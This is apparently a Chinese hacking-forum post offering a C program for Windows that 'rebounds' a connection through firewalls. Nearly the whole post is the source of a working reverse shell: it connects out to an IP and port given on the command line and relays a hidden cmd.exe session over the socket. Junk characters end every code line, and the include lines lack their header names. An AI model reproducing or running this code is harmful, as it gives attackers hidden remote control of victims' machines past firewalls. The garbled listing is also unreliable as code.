社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6407阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E$"NOR  
?2@^O=I  
/* ============================== Ah2@sp,z  
Rebound port in Windows NT Wa;N(zw0h  
By wind,2006/7 }?[];FB  
===============================*/ U,rI/'  
#include j0l{Mc5  
#include ^t0!Dbx3SE  
Ez1eGPVr  
#pragma comment(lib,"wsock32.lib") GQ(Y#HSq  
8h] TI_  
void OutputShell(); }*x1e_m}H  
SOCKET sClient; eMGJx"a  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5/.W-Q\pl}  
f3UCELJ  
void main(int argc,char **argv) Vgm*5a6t  
{ #`Su3~T=S  
WSADATA stWsaData; 8xy8/UBIk0  
int nRet; zs=3e~o3  
SOCKADDR_IN stSaiClient,stSaiServer; :Xw|v2z%3  
! ._q8q\  
if(argc != 3) poz_=,c  
{ 3kxo1eb  
printf("Useage:\n\rRebound DestIP DestPort\n"); D||0c"E  
return; Nm)3   
}  ~,lt^@a  
n/9afIN  
WSAStartup(MAKEWORD(2,2),&stWsaData); *7Vb([x4;  
ebA:Sq:w  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dIC\U  
0)&!$@HW  
stSaiClient.sin_family = AF_INET; :8b'HhjM  
stSaiClient.sin_port = htons(0); #Y5k/NPg  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); GvVkb=="  
7}iv+rQ  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) J;& y?%{@5  
{ ::Zo` vP  
printf("Bind Socket Failed!\n"); /WQ.,a  
return; "#C2+SKM1  
} 3Gs\Q{O:  
3?o4  
stSaiServer.sin_family = AF_INET; KVZB`c$<t  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R3B+vLGX  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); qO{z{@jo55  
` GF w?G  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) P<pv@ l9)  
{ 8maWF.xq  
printf("Connect Error!"); x/,;:S  
return; :FAPH8]  
} \HGf!zZ  
OutputShell(); R+LKa Z  
} 1Vpti4OmU  
rC8p!e.yL  
void OutputShell() #-yCR  
{ Lx,=Up.  
char szBuff[1024]; |k.'w<6mb9  
SECURITY_ATTRIBUTES stSecurityAttributes; Z],j|r Wy6  
OSVERSIONINFO stOsversionInfo; xXJ*xYn "}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xsa`R^5/c  
STARTUPINFO stStartupInfo; FWbp;v{  
char *szShell; Z6I|Y5#H  
PROCESS_INFORMATION stProcessInformation; UF"%FF  
unsigned long lBytesRead; )Do 0  
Pb&tWv\ql  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *OLqr/ yb  
R"W}\0k  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); FGDVBUY@  
stSecurityAttributes.lpSecurityDescriptor = 0; aAjl 58  
stSecurityAttributes.bInheritHandle = TRUE; .`Rt   
z+MH co"  
lu.]R>w  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +a5F:3$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O`Tz^Q /D  
N{%7OG  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8'PZA,CW  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fo ~uI(rk  
stStartupInfo.wShowWindow = SW_HIDE; wm~7`&  
stStartupInfo.hStdInput = hReadPipe; 3U<m\A1  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; V'vWz`#  
`'1g>Ebk0  
GetVersionEx(&stOsversionInfo); NO!Qo:  
5cP yi/  
switch(stOsversionInfo.dwPlatformId) P%2v(  
{ 5%}e j)@  
case 1: d{YvdN9d  
szShell = "command.com"; R'Jrbe|  
break; S;4:`?s=i  
default: HLWffO/  
szShell = "cmd.exe"; <Kt_ oxK,  
break; {SV/AN  
} Z"8lW+r *  
{lf{0c$X.  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); k%6CkC w  
Q ^b&   
send(sClient,szMsg,77,0); Yw|v5/>  
while(1) G80N8Lm  
{ GRcPzneiz  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >pF*unC;  
if(lBytesRead) zj7ta[<tr  
{ ~nA k-toJ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); O},}-%G  
send(sClient,szBuff,lBytesRead,0); ed6@o4D/kf  
} re*}a)iL  
else =Dn <DV  
{ !Se0&Ob  
lBytesRead=recv(sClient,szBuff,1024,0); %#2$B+  
if(lBytesRead<=0) break; 03~ ADj  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); RqA>"[L  
} WE\TUENac(  
} D40 vCax^J  
#*g=F4>t  
return; j4/[Z'5ny  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八